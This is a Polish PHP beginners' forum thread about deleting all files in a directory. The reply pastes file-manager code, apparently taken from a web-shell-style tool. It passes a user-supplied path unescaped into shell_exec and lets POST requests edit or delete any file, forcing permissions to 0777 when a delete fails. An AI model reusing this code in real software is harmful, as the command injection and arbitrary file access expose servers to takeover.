Pomoc - Szukaj - Użytkownicy - Kalendarz
Pełna wersja: [php] Kasowanie wszystkich plików w katalogu
Forum PHP.pl > Forum > Przedszkole
s3o
Witam,

jak "masowo" skasować wszystkie pliki w danym katalogu bez konieczności usuwania plików pojedynczo?


pozdrawiam
Michał
marcio
usun katalog i potem zrob go na nowo
s3o
Cytat(marcio @ 7.12.2007, 23:05:54 ) *
usun katalog i potem zrob go na nowo


ale w tym katalogu mam kilka podkatalogów a w tych podkatalogach pliki, których usunąć nie mogę
jak to zrobić inaczej?
marcio
oj troszke dlugie do napisania podam kawalek kodu od kolegi mam nadzieje ze nie bedzie na mnie zly ale to jest na klasach wiec potem to sobie przerob:
kawalek kodu z klasy DIR
  1. <?php
  2. function get_file_to_edit()
  3.  {
  4. global $DIR;
  5. $this -> path = $DIR;
  6. $select = '<div id="term" style="border-top:none;"><form method="POST">
  7. <input type="hidden" name="file" value="none"/>
  8. <table cellspacing="0"><tr><td>
  9. <input type="text" name="dir" class="iterm" value="'.$this -> path.'"/>
  10. <input type="submit" name="opt" value="idz" class="submit"/></td></tr><tr><td>
  11. <select name="file" calss="option">';
  12. $d = @opendir($this -> path);
  13.  
  14. while($file = @readdir($d))
  15. {
  16.  if($file != '.' && $file != '..' && substr($this -> get_mod($this -> path.'/'.$file), 0, 1) != 'd')
  17.  $select .= '<option class="option" value="'.$this -> path.'/'.$file.'">'.$file.'</option>';
  18. }
  19.  
  20. $select .= '</select> 
  21. <input type="submit" value="edytuj" name="opt" class="submit"/> 
  22. <input type="submit" value="kasuj" name="opt" class="submit"/> 
  23. <input type="submit" value="pobierz" name="opt" class="submit"/>
  24. </td></tr></table>
  25. </form></div>';
  26.  
  27. return $select;
  28.  }
  29.  
  30. function list_dir()
  31.  {
  32. if(!$this -> safemode)
  33. return shell_exec("ls -lia " . $this -> path);
  34. $tolist = (substr($this -> path, -1) == '/') ? $this->path . '*' : $this->path . '/*';
  35. $all = @glob($tolist);
  36. $list = "";
  37.  
  38. foreach($all as $file)
  39. {
  40.  list ($dev, $inode, $inodep, $nlink, $uid, $gid, $inodev, $size, $atime, $mtime, $ctime, $bsize) = stat($file);
  41.  $owner = @posix_getpwuid($uid);
  42.  $grgid = @posix_getgrgid($gid);
  43.  $list .= $inode." ".$this->get_mod($file)." ".$nlink." ".$owner['name']." ".
  44.  $grgid['name']." ".$size." ".date("d.m.Y H:i ",$mtime)." ".substr($file, strrpos($file, '/')+1)."\n";
  45. }
  46.  
  47. return $list;
  48.  }
  49. ?>

i potem funckje z klasy
  1. <?php
  2. function edit_file($new_content = null)
  3.  {
  4. if(empty($new_content))
  5. {
  6.  if($this -> file_read_mode)
  7.  {
  8. $file_box = @fread(@fopen($this -> file_name, "r"), filesize($this -> file_name));
  9. $ta = array("<textarea>" => "<73x74r34>", "</textarea>" => "</73x74r34>");
  10. $out = '<div id="term"><p class="head">Plik: '.$this -> file_name.'</p><form method="POST">
  11. <input type="hidden" name="DIRECT" value="'.getcwd().'"/>
  12. <input type="hidden" name="opt" value="save"/>
  13. <input type="hidden" name="file" value="'.$this -> file_name.'"/>
  14. <textarea name="new_content" class="termout">'.strtr($file_box, $ta).'</textarea><br>';
  15.  
  16. if($this -> file_write_mode)
  17. $out .= '<input type="submit" class="submit" value="Zapisz"/></form></div><br><br>';
  18.  
  19. else $out .= '</form><b style="color:#f00">Brak uprawnien do zapisu pliku '.$this -> file_name.'</b></div><br><br>';
  20.  
  21. return $out;
  22.  }
  23.  
  24.  else return " ";
  25. }
  26.  
  27. function delete_file()
  28.  {
  29. if($this -> file_write_mode)
  30. {
  31.  if(@unlink($this -> file_name))
  32.  return '<b style="color:#0f0">Skasowano '.$this -> file_name.'</b><br><br>';
  33.  
  34.  else if(@chmod($this -> file_name, 0777))
  35.  {
  36. if(@unlink($this -> file_name))
  37. return '<b style="color:#0f0">Skasowano '.$this -> file_name.'</b><br><br>';
  38.  }
  39. }
  40.  
  41. return '<b style="color:#f00">Nie mozna skasowac'.$this -> file_name.'<br>Brak uprawnien</b><br><br>';
  42.  }
  43. ?>

chyba o to chodzi?questionmark.gif
s3o
dzięki za pomoc, wydaje mi się że po przerobieniu będzie ok
pozdrawiam
marcio
nie ma za co ale jak juz przerobisz i bedzie chodzic rzuc kodem na pw
To jest wersja lo-fi głównej zawartości. Aby zobaczyć pełną wersję z większą zawartością, obrazkami i formatowaniem proszę kliknij tutaj.
Invision Power Board © 2001-2025 Invision Power Services, Inc.